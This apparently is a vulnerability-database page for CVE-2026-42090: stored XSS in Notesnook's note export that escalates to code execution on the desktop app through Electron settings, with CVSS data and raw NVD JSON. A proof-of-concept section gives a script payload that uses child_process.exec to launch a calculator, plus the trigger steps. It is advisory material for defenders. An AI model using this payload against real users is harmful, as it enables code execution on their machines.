Security Vulnerability Report
中文
CVE-2026-42090 CVSS 9.6 CRITICAL

CVE-2026-42090

Published: 2026-05-04 17:16:25
Last Modified: 2026-05-12 18:45:43

Description

Notesnook is a note-taking app focused on user privacy & ease of use. Prior to Notesnook Web/Desktop version 3.3.15 and prior to Notesnook iOS/Android version 3.3.20, a stored XSS vulnerability in the note export flow can be escalated to remote code execution in the desktop app. The root cause is that exported note fields such as title, headline, and content are inserted into the generated HTML template without HTML escaping. When the note is later exported to PDF, Notesnook renders that HTML into a same-origin, unsandboxed iframe using iframe.srcdoc = .... Injected script executes in the Notesnook origin. In the desktop app, this becomes RCE because Electron is configured with nodeIntegration: true and contextIsolation: false. This issue has been patched in Notesnook Web/Desktop version 3.3.15 and Notesnook iOS/Android version 3.3.20.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:streetwriters:notesnook_desktop:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:android:*:* - VULNERABLE
cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:iphone_os:*:* - VULNERABLE
Notesnook Web/Desktop < 3.3.15
Notesnook iOS/Android < 3.3.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept: Stored XSS to RCE in Notesnook Desktop --> <!-- 1. Create a note and set the title or content to the following payload: --> <script> // Exploit logic leveraging Electron nodeIntegration const { exec } = require('child_process'); // Example: Execute 'calc.exe' on Windows or 'open -a Calculator' on macOS exec('calc.exe', (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`RCE Successful: ${stdout}`); }); </script> <!-- 2. Save the note. --> <!-- 3. Click 'Export to PDF' in the desktop application. --> <!-- 4. The script executes within the Electron main process context. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42090", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:25.190", "lastModified": "2026-05-12T18:45:43.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Notesnook is a note-taking app focused on user privacy & ease of use. Prior to Notesnook Web/Desktop version 3.3.15 and prior to Notesnook iOS/Android version 3.3.20, a stored XSS vulnerability in the note export flow can be escalated to remote code execution in the desktop app. The root cause is that exported note fields such as title, headline, and content are inserted into the generated HTML template without HTML escaping. When the note is later exported to PDF, Notesnook renders that HTML into a same-origin, unsandboxed iframe using iframe.srcdoc = .... Injected script executes in the Notesnook origin. In the desktop app, this becomes RCE because Electron is configured with nodeIntegration: true and contextIsolation: false. This issue has been patched in Notesnook Web/Desktop version 3.3.15 and Notesnook iOS/Android version 3.3.20."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_desktop:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.15", "matchCriteriaId": "7C5C15D2-45F8-45E2-A151-FBE63A77938C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:android:*:*", "versionEndExcluding": "3.3.20", "matchCriteriaId": "6FD5E917-697E-4E72-BA79-D31086A031DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "3.3.20", "matchCriteriaId": "BBC02396-D3D4-45C3-B684-A5C4D30E755A"}]}]}], "references": [{"url": "https://github.com/streetwriters/notesnook/releases/tag/3.3.20-android", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/streetwriters/notesnook/releases/tag/v3.3.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/streetwriters/notesnook/security/advisories/GHSA-fjm8-jg78-89h4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}